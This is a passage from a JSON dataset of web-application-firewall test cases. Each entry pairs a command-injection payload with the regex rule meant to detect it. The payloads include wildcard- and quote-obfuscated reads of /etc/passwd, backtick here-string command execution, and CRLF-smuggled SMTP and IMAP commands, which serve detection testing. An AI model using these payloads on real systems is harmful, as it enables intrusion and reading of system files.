"ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s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)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?i)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*|d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?n[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?f|w[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:h[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o|(?:[\\s\\x0b&\\),<>\\|]|$).*))", "negated": false } }, "transformations": [ "none", "cmdLine", "normalizePath" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932238", "test_description": "Block evasion using here string with single quotes" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;`cat<<<\"who\"`\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?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\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?i)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*|d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?n[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?f|w[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:h[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o|(?:[\\s\\x0b&\\),<>\\|]|$).*))", "negated": false } }, "transformations": [ "none", "cmdLine", "normalizePath" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932238", "test_description": "Block evasion using here string with double quotes" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;`cat<<<$(who)`\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\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9\\?@_a-\\{]*)?\\x5c?i)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*|d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?n[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?f|w[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:h[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o|(?:[\\s\\x0b&\\),<>\\|]|$).*))", "negated": false } }, "transformations": [ "none", "cmdLine", "normalizePath" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932238", "test_description": "Block evasion using here string with command substitution" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=time who\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*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?i)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*|d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?n[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?f|w[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:h[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o|(?:[\\s\\x0b&\\),<>\\|]|$).*))", "negated": false } }, "transformations": [ "none", "cmdLine", "normalizePath" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932238", "test_description": "Block `time` prefix" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=strace who\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x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:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*|d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?n[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?f|w[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:h[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o|(?:[\\s\\x0b&\\),<>\\|]|$).*))", "negated": false } }, "transformations": [ "none", "cmdLine", "normalizePath" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932238", "test_description": "Block `strace` prefix" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=nohup who\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)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x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*|d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?n[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?f|w[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:h[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o|(?:[\\s\\x0b&\\),<>\\|]|$).*))", "negated": false } }, "transformations": [ "none", "cmdLine", "normalizePath" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932238", "test_description": "Block `nohup` prefix" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "id=cat%2B%2Fet*%2F*wd" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "/(?:[?*]+[a-z/]+|[a-z/]+[?*]+)", "negated": false } }, "transformations": [ "none", "normalizePath", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932190", "test_description": "Match wild card evasion in 'cat+/et*/*wd'" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "id=cat%2B%2FET*%2F*WD" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "/(?:[?*]+[a-z/]+|[a-z/]+[?*]+)", "negated": false } }, "transformations": [ "none", "normalizePath", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932190", "test_description": "Match wild card evasion in 'cat+/ET*/*WD'" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "id=%2F%3F%3F%3F%2F%3Fs" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "/(?:[?*]+[a-z/]+|[a-z/]+[?*]+)", "negated": false } }, "transformations": [ "none", "normalizePath", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932190", "test_description": "Match wild card evasion in '/???/?s'" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "id=Does%20the%20%2A%20shine%20bright%3F" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "/(?:[?*]+[a-z/]+|[a-z/]+[?*]+)", "negated": false } }, "transformations": [ "none", "normalizePath", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932190", "test_description": "No FP in 'Does the * shine bright?'" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\" : \";+cat+/e't'*/pa'?s'wd\"}" } ], "attack_context": { "method": "GET", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "/(?:[?*]+[a-z/]+|[a-z/]+[?*]+)", "negated": false } }, "transformations": [ "none", "normalizePath", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932190", "test_description": "Handle single quote evasion mixed with wild card evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\" : \";+cat+/e\\\\t\\\\*/pa\\\\?s\\\\wd\"}" } ], "attack_context": { "method": "GET", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "/(?:[?*]+[a-z/]+|[a-z/]+[?*]+)", "negated": false } }, "transformations": [ "none", "normalizePath", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932190", "test_description": "Handle backslash evasion mixed with wild card evasion" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "test=%0d%0aDATA" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\r\\n.*?\\b(?:DATA|QUIT|HELP(?: .{1,255})?)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932301", "test_description": "SMTP DATA Command injection positive test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "text=We%20need%20that%20data%20now" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\r\\n.*?\\b(?:DATA|QUIT|HELP(?: .{1,255})?)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932301", "test_description": "SMTP DATA Command Injection true negative test" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "textarea=Hello%21%20World.%0adata%20not%20found.\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\r\\n.*?\\b(?:DATA|QUIT|HELP(?: .{1,255})?)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932301", "test_description": "SMTP Command Injection negative test 2" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "attackme=%0d%0aQUIT" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\r\\n.*?\\b(?:DATA|QUIT|HELP(?: .{1,255})?)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932301", "test_description": "SMTP QUIT Command injection positive test" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "textarea=Hey%20please%20do%20not%20quit\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\r\\n.*?\\b(?:DATA|QUIT|HELP(?: .{1,255})?)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932301", "test_description": "SMTP Command QUIT Injection negative test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "attackme=%0d%0aHELP%20Postmaster" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\r\\n.*?\\b(?:DATA|QUIT|HELP(?: .{1,255})?)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932301", "test_description": "SMTP HELP Command injection positive test" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "textarea=Hello%21%20This%20text%20needs%20help%20now\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\r\\n.*?\\b(?:DATA|QUIT|HELP(?: .{1,255})?)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932301", "test_description": "SMTP HELP Command Injection true negative test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "attackme=%0d%0aa001%20EXAMINE%20INBOX" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?is)\\r\\n[0-9A-Z_a-z]{1,50}\\b (?:C(?:(?:REATE|OPY [\\*,0-:]+) [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|APABILITY|HECK|LOSE)|DELETE [\\\"#%&\\*\\-\\.0-9A-Z\\x5c_a-z]+|EX(?:AMINE [\\\"#%&\\*\\-\\.0-9A-Z\\x5c_a-z]+|PUNGE)|FETCH [\\*,0-:]+|L(?:IST [\\\"#\\*\\--9A-Z\\x5c_a-z~]+? [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|OG(?:IN [\\-\\.0-9@_a-z]{1,40} .*?|OUT))|RENAME [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+? [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|S(?:E(?:LECT [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|ARCH(?: CHARSET [\\-\\.0-9A-Z_a-z]{1,40})? (?:(KEYWORD \\x5c)?(?:A(?:LL|NSWERED)|BCC|D(?:ELETED|RAFT)|(?:FLAGGE|OL)D|RECENT|SEEN|UN(?:(?:ANSWER|FLAGG)ED|D(?:ELETED|RAFT)|SEEN)|NEW)|(?:BODY|CC|FROM|HEADER .{1,100}|NOT|OR .{1,255}|T(?:EXT|O)) .{1,255}|LARGER [0-9]{1,20}|[\\*,0-:]+|(?:BEFORE|ON|S(?:ENT(?:(?:BEFOR|SINC)E|ON)|INCE)) \\\"?[0-9]{1,2}-[0-9A-Z_a-z]{3}-[0-9]{4}\\\"?|S(?:MALLER [0-9]{1,20}|UBJECT .{1,255})|U(?:ID [\\*,0-:]+?|NKEYWORD \\x5c(Seen|(?:Answer|Flagg)ed|D(?:eleted|raft)|Recent))))|T(?:ORE [\\*,0-:]+? [\\+\\-]?FLAGS(?:\\.SILENT)? (?:\\(\\x5c[a-z]{1,20}\\))?|ARTTLS)|UBSCRIBE [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+)|UN(?:SUBSCRIBE [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|AUTHENTICATE)|NOOP)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932311", "test_description": "IMAP CREATE/DELETE/EXAMINE/SELECT/SUBSCRIBE/UNSUBSCRIBE Command injection positive test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "text=We%examine%20this%20mail%20from%20Mars" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?is)\\r\\n[0-9A-Z_a-z]{1,50}\\b (?:C(?:(?:REATE|OPY [\\*,0-:]+) [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|APABILITY|HECK|LOSE)|DELETE [\\\"#%&\\*\\-\\.0-9A-Z\\x5c_a-z]+|EX(?:AMINE [\\\"#%&\\*\\-\\.0-9A-Z\\x5c_a-z]+|PUNGE)|FETCH [\\*,0-:]+|L(?:IST [\\\"#\\*\\--9A-Z\\x5c_a-z~]+? [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|OG(?:IN [\\-\\.0-9@_a-z]{1,40} .*?|OUT))|RENAME [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+? [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|S(?:E(?:LECT [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|ARCH(?: CHARSET [\\-\\.0-9A-Z_a-z]{1,40})? (?:(KEYWORD \\x5c)?(?:A(?:LL|NSWERED)|BCC|D(?:ELETED|RAFT)|(?:FLAGGE|OL)D|RECENT|SEEN|UN(?:(?:ANSWER|FLAGG)ED|D(?:ELETED|RAFT)|SEEN)|NEW)|(?:BODY|CC|FROM|HEADER .{1,100}|NOT|OR .{1,255}|T(?:EXT|O)) .{1,255}|LARGER [0-9]{1,20}|[\\*,0-:]+|(?:BEFORE|ON|S(?:ENT(?:(?:BEFOR|SINC)E|ON)|INCE)) \\\"?[0-9]{1,2}-[0-9A-Z_a-z]{3}-[0-9]{4}\\\"?|S(?:MALLER [0-9]{1,20}|UBJECT .{1,255})|U(?:ID [\\*,0-:]+?|NKEYWORD \\x5c(Seen|(?:Answer|Flagg)ed|D(?:eleted|raft)|Recent))))|T(?:ORE [\\*,0-:]+? [\\+\\-]?FLAGS(?:\\.SILENT)? (?:\\(\\x5c[a-z]{1,20}\\))?|ARTTLS)|UBSCRIBE [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+)|UN(?:SUBSCRIBE [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|AUTHENTICATE)|NOOP)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932311", "test_description": "IMAP CREATE/DELETE/EXAMINE/SELECT/SUBSCRIBE/UNSUBSCRIBE Command Injection true negative test" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "textarea=%0d%0aa002%20copy%202%3A4%20MEETING\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?is)\\r\\n[0-9A-Z_a-z]{1,50}\\b (?:C(?:(?:REATE|OPY [\\*,0-:]+) [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|APABILITY|HECK|LOSE)|DELETE [\\\"#%&\\*\\-\\.0-9A-Z\\x5c_a-z]+|EX(?:AMINE [\\\"#%&\\*\\-\\.0-9A-Z\\x5c_a-z]+|PUNGE)|FETCH [\\*,0-:]+|L(?:IST [\\\"#\\*\\--9A-Z\\x5c_a-z~]+? [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|OG(?:IN [\\-\\.0-9@_a-z]{1,40} .*?|OUT))|RENAME [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+? [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|S(?:E(?:LECT [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|ARCH(?: CHARSET [\\-\\.0-9A-Z_a-z]{1,40})? (?:(KEYWORD \\x5c)?(?:A(?:LL|NSWERED)|BCC|D(?:ELETED|RAFT)|(?:FLAGGE|OL)D|RECENT|SEEN|UN(?:(?:ANSWER|FLAGG)ED|D(?:ELETED|RAFT)|SEEN)|NEW)|(?:BODY|CC|FROM|HEADER .{1,100}|NOT|OR .{1,255}|T(?:EXT|O)) .{1,255}|LARGER [0-9]{1,20}|[\\*,0-:]+|(?:BEFORE|ON|S(?:ENT(?:(?:BEFOR|SINC)E|ON)|INCE)) \\\"?[0-9]{1,2}-[0-9A-Z_a-z]{3}-[0-9]{4}\\\"?|S(?:MALLER [0-9]{1,20}|UBJECT .{1,255})|U(?:ID [\\*,0-:]+?|NKEYWORD \\x5c(Seen|(?:Answer|Flagg)ed|D(?:eleted|raft)|Recent))))|T(?:ORE [\\*,0-:]+? [\\+\\-]?FLAGS(?:\\.SILENT)? (?:\\(\\x5c[a-z]{1,20}\\))?|ARTTLS)|UBSCRIBE [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+)|UN(?:SUBSCRIBE [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|AUTHENTICATE)|NOOP)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932311", "test_description": "IMAP COPY Command Injection positive test" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "textarea=Just%20to%20remind%20you%20that%20I%20need%20to%20copy%20those%20documents\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?is)\\r\\n[0-9A-Z_a-z]{1,50}\\b (?:C(?:(?:REATE|OPY [\\*,0-:]+) [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|APABILITY|HECK|LOSE)|DELETE 